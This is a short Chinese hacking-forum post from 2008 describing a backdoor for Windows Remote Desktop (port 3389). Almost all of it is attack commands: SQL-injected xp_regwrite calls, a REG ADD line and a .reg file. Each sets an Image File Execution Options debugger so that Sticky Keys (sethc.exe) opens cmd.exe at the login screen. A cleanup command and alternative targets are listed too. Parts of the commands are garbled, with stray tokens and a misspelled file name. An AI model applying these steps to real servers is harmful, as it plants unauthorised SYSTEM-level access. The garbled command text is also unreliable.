3389新思路

2008-10-30 09:24 698 0

摘要: 权所有：BK瞬间群作者：BK群某饮料1.能修改注册表2.能访问3389 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWA...

关键词： nbsp Windows CurrentVersion MACHINE exe Microsoft Execution SOFTWARE debugger LOCAL

权所有：BK瞬间群作者：BK群某饮料1.能修改注册表2.能访问3389 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';-- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','';-- REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d "c:\windows\system32\cmd.exe" on /f Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethcasd.exe]"debugger"="c:\\windows\\system32\\cmd.exe on" regedit/s 导入 .reg 文件进注册表（安静模式）/e 导出注册表文件例：regedit /e filename.reg HKEY_LOCAL_MACHINE//SYSTEMmagnify.exeosk.exesethc.exe

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除